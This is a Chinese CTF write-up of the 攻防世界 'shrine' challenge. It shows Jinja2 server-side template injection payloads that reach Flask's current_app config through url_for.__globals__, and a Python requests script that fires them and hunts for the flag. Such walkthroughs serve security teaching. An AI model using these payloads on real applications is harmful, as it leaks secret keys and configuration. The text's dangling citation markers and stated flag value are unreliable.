攻防世界-web-shrine(wp)

进入环境

发现jinja猜测可能存在SSTI,进行测试发现存在SSTI

但是def safe_jinjia(s)函数对输入进行了过滤,不能使用()

### 关于 CTF 攻防世界 Shrine 的解题思路 #### 背景介绍 Shrine 是 CTF 平台攻防世界中的一个 Web 高手进阶题目,属于 Python Flask 模板注入(Template Injection)类别的漏洞利用挑战。该题目主要考察选手对 Jinja2 模板引擎的工作机制以及 Flask 应用程序内部结构的理解。 --- #### 已知条件分析 1. **路径行为**: 当访问 `/shrine/` 路径时,服务器会接收输入并将其传递给 `flask.render_template_string()` 函数处理[^3]。 2. **过滤逻辑**: 输入数据经过了一个名为 `safe_jinja()` 的自定义函数处理,目的是防止简单的模板注入攻击。 3. **目标**: 利用模板注入漏洞获取应用配置项中的敏感信息——即 Flag 值[^4]。 --- #### 技术细节解析 ##### 1. Flask 中的特殊变量与方法 Flask 提供了一些可以直接在 Jinja2 模板中调用的方法和对象,例如 `url_for`, `get_flashed_messages` 等。这些方法可以通过其属性 `. __globals__` 访问到应用程序上下文环境下的全局变量字典。 通过以下 Payload 可以验证是否存在未被完全封堵的安全隐患: ```plaintext /shrine/{{ url_for.__globals__ }} ``` 上述请求返回的结果显示了全局变量字典的内容,其中包含了当前运行的应用实例 (`current_app`) 和其他重要信息。 ##### 2. 获取配置参数 进一步深入挖掘可以发现,在 `current_app.config` 下存储着所有的配置键值对,其中包括我们需要提取的目标 Flag[^2]: ```plaintext {'FLAG': 'flag{shrine_is_good_ssti}'} ``` 因此最终有效的载荷应为如下形式之一: ```plaintext /shrine/{{ url_for.__globals__['current_app'].config }} ``` 或者替代方案: ```plaintext /shrine/{{ get_flashed_messages.__globals__['current_app'].config }} ``` 这两种方式均能成功触发漏洞并读取到隐藏的数据。 --- #### 实现过程总结 整个解题流程围绕以下几个核心环节展开: - 明确入口点及其工作原理; - 探索可用资源 (如内置函数) 来突破防护措施; - 构造精确表达式定位至所需字段完成任务。 以下是完整的 Python 测试脚本用于模拟发送恶意 URL 请求的过程: ```python import requests base_url = "http://example.com" payloads = [ "/shrine/{{url_for.__globals__['current_app'].config}}", "/shrine/{{get_flashed_messages.__globals__['current_app'].config}}" ] for p in payloads: response = requests.get(base_url + p) if "flag{" in response.text: print(f"[+] Found flag: {response.text.strip()}") break else: print("[!] No flags found.") ``` 注意替换实际地址前缀部分以便适配具体竞赛场景需求。 --- #### 安全建议 针对此类风险开发人员应当采取严格白名单策略限定允许渲染字符串范围;同时启用沙盒模式限制潜在危险操作执行权限从而有效遏制类似威胁扩散蔓延趋势。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值